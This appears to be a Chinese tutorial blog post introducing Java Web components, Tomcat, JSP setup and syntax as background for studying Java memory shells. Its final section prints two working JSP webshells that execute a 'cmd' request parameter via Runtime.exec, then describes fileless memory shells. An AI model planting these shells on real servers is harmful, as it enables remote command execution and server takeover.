背景知识

Java Web三大件

Java Web三大件指的是:Servlet, Filter, Listener。

在 JavaWeb 开发中,Servlet、Filter、Listener 是三个重要的组件,它们可以用 电影院的观影体验 来比喻:

1. Servlet(电影播放)—— 处理请求的核心

  • Servlet 就像 电影播放系统,用户(浏览器)买票(发送请求),影院(服务器)根据用户的选择播放对应的电影(处理请求并返回数据)。
  • 例如,你在网站上提交了一个登录请求,Servlet 会负责接收你的信息、校验密码,然后返回结果。

2. Filter(检票员)—— 过滤请求和响应

  • Filter 就像 影院的检票员,在你进入影厅前,检查你是否有票(权限验证)、是否带了违禁品(过滤不合法内容),如果没问题才让你进去。
  • 在 JavaWeb 中,Filter 可以拦截请求或响应,比如:
    • 进行权限验证(检查是否登录)
    • 处理编码(防止乱码)
    • 记录访问日志

3. Listener(电影院的工作人员)—— 监听全局事件

  • Listener 就像

    影院的工作人员

    ,负责监听电影院内的各种情况,比如:

    • 电影开场时,工作人员检查座位(项目启动时,初始化资源)。
    • 电影结束后,清理影厅(用户退出后,释放资源)。
  • 在 JavaWeb 中,Listener 监听应用程序、会话、请求的生命周期,例如:

    • Session 监听器:用户登录/退出时执行操作。
    • Context 监听器:服务器启动/关闭时初始化或清理资源。

Tomcat

Tomcat 是一个 轻量级的 Java Web 服务器(Servlet 容器),主要用来运行 JavaWeb 应用(如 Servlet 和 JSP)。可以理解为 专门为 JavaWeb 开发的“迷你服务器”

核心功能

  1. Web 服务器:能够处理 HTTP 请求,响应 HTML 页面。
  2. Servlet 容器:支持 Servlet 和 JSP,运行 JavaWeb 应用。
  3. 管理部署:支持 .war 文件部署,方便管理 Web 应用。
  4. 轻量、开源、免费:相比其他服务器(如 WebLogic、JBoss),Tomcat 体积小、运行快。

JSP

JSP(JavaServer Pages) 是一种基于 Java动态网页技术,可以在 HTML 页面中嵌入 Java 代码,从而实现动态网页内容的生成。它的本质是 Servlet 的扩展,让 JavaWeb 开发更方便。

JSP环境搭建

我在这里踩了坑,下面记载一下搭建过程:

直接新建项目,什么也不用管:

image-20250320154139671

image-20250320154247660

勾上即可。

image-20250320154306450

这里已经基本成功了,多了一个web目录,下面就可以创建jsp文件了。

image-20250320154325895

这里还是会有问题:jsp文件中部分的java函数会爆红。

image-20250320154437588

解决办法是在web目录下新建一个lib目录,然后去Tomcat的lib目录下,把这两个文件放进去:
image-20250320154907850

image-20250320154922657

即可。

这里我纠正一下,正确的格式应该是把这个web拖进src/main中:

image-20250320202639530

JSP的基本用法

  • JSP脚本元素

    • <% ... %>

      :用于嵌入Java代码(脚本片段)。

      1
      2
      3
      4
      <% 
      String name = "DeepSeek";
      out.println("Hello, " + name);
      %>
    • <%= ... %>

      :用于输出Java表达式的值(相当于

      1
      out.print()

      )。

      1
      <%= "Hello, " + name %>
    • <%! ... %>

      :用于声明变量、类或方法。

      1
      2
      3
      4
      5
      6
      <%!
      int count = 0;
      void increment() {
      count++;
      }
      %>
  • JSP指令

    • <%@ page ... %>

      :用于定义页面的属性,比如编码、导入类等。

      1
      2
      <%@ page contentType="text/html;charset=UTF-8" language="java" %>
      <%@ page import="java.util.Date" %>
    • <%@ include ... %>

      :用于包含其他文件(静态包含)。

      1
      <%@ include file="header.jsp" %>
    • <%@ taglib ... %>

      :用于引入标签库(如JSTL)。

      1
      <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
  • JSP动作

    • <jsp:include>

      :动态包含其他文件。

      1
      <jsp:include page="footer.jsp" />
    • <jsp:forward>

      :将请求转发到另一个页面。

      1
      <jsp:forward page="nextPage.jsp" />
    • <jsp:useBean>

      :用于创建或访问JavaBean对象。

      1
      <jsp:useBean id="user" class="com.example.User" scope="session" />

JSP内置对象

JSP提供了9个内置对象,可以直接在脚本中使用:

  • **request**:HttpServletRequest对象,用于获取客户端请求信息。
  • **response**:HttpServletResponse对象,用于向客户端发送响应。
  • **session**:HttpSession对象,用于存储会话数据。
  • **application**:ServletContext对象,用于存储全局数据。
  • **out**:JspWriter对象,用于向客户端输出内容。
  • **pageContext**:PageContext对象,提供了对页面上下文的访问。
  • **config**:ServletConfig对象,用于获取Servlet配置信息。
  • **page**:当前页面的this对象。
  • **exception**:Throwable对象,用于处理异常(仅在错误页面中可用)。

JSP的生命周期

JSP页面的生命周期包括以下几个阶段:

  1. 翻译阶段:JSP文件被编译成Servlet类(.java文件)。

  2. 编译阶段:Servlet类被编译成字节码(.class文件)。

  3. 初始化阶段:Servlet实例被创建,jspInit()方法被调用。

  4. 执行阶段_jspService()方法被调用,处理请求并生成响应。

  5. 销毁阶段jspDestroy()方法被调用,释放资源。

传统JSP木马

无回显

1
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

通过get方式接受cmd参数,并且执行相应命令。

有回显

1
2
3
4
5
6
7
8
9
10
11
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>

这些传统JSP木马的共同点是:

  1. 需要文件落地
  2. 特征性强

为了规避这些缺点,我们就引入了内存马

Java 内存马(Memory Shell)是一种黑客攻击手段,指的是攻击者通过特定手段在 JVM 内存 中注入恶意代码,从而在不修改磁盘文件的情况下,实现 长期驻留和远程控制 目标服务器的能力。

特点:

  1. 无文件落地:不会在服务器磁盘上留下恶意文件,避免被传统杀毒软件或安全监控工具检测到。
  2. 长期驻留:通常依附于 Web 容器(如 Tomcat、Spring、Jboss 等),可以在服务器重启前保持存活。
  3. 隐蔽性高:利用 Java 反射、动态代理、类加载机制等技术,隐藏恶意代码执行痕迹。
  4. 操作便捷:可以远程执行恶意指令,如执行命令、读取文件、获取数据库信息等。